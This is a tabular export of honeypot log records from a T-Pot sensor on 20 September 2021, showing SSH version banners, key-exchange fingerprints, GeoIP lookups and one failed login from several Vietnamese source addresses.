22931	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.870351+03	2021-09-20 14:15:06.850471+03	{"_id": "KgbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ecd82972c77c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:26.870351Z", "@timestamp": "2021-09-20T11:07:26.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22932	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:27.149306+03	2021-09-20 14:15:06.852471+03	{"_id": "KwbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ecd82972c77c", "@version": "1", "timestamp": "2021-09-20T11:07:27.149306Z", "@timestamp": "2021-09-20T11:07:27.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22933	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:27.543743+03	2021-09-20 14:15:06.853471+03	{"_id": "LQbjAnwBvYTbRNuErQuy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 794192794911216, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner", "is_ssh_server_kex"]}, "src_port": 34634, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.543743Z", "@timestamp": "2021-09-20T11:07:27.543Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22934	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:30.216511+03	2021-09-20 14:15:06.85447+03	{"_id": "8QbjAnwBvYTbRNuEugvj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47538, "timestamp": "2021-09-20T11:07:30.216511", "@timestamp": "2021-09-20T11:07:30.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22935	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:30.49189+03	2021-09-20 14:15:06.85647+03	{"_id": "8gbjAnwBvYTbRNuEugvj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47538, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.491890", "@timestamp": "2021-09-20T11:07:30.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22936	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:30.550928+03	2021-09-20 14:15:06.857471+03	{"_id": "5gbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59584, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.550928", "@timestamp": "2021-09-20T11:07:30.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22942	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:31.764562+03	2021-09-20 14:15:06.865471+03	{"_id": "-AbjAnwBvYTbRNuEvQtW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 427353196145544, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46074, "dest_port": 22, "timestamp": "2021-09-20T11:07:31.764562Z", "@timestamp": "2021-09-20T11:07:31.764Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22937	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:30.492703+03	2021-09-20 14:15:06.85847+03	{"_id": "9QbjAnwBvYTbRNuEugvj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8c469a0dbd06", "@version": "1", "timestamp": "2021-09-20T11:07:30.492703Z", "@timestamp": "2021-09-20T11:07:30.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22938	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:30.473301+03	2021-09-20 14:15:06.86047+03	{"_id": "6AbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [user/12345] failed", "session": "ac85c9120dd9", "@version": "1", "password": "12345", "username": "user", "timestamp": "2021-09-20T11:07:30.473301Z", "@timestamp": "2021-09-20T11:07:30.473Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22939	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:30.68133+03	2021-09-20 14:15:06.861471+03	{"_id": "6QbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5207dab7797c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:30.681330Z", "@timestamp": "2021-09-20T11:07:30.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
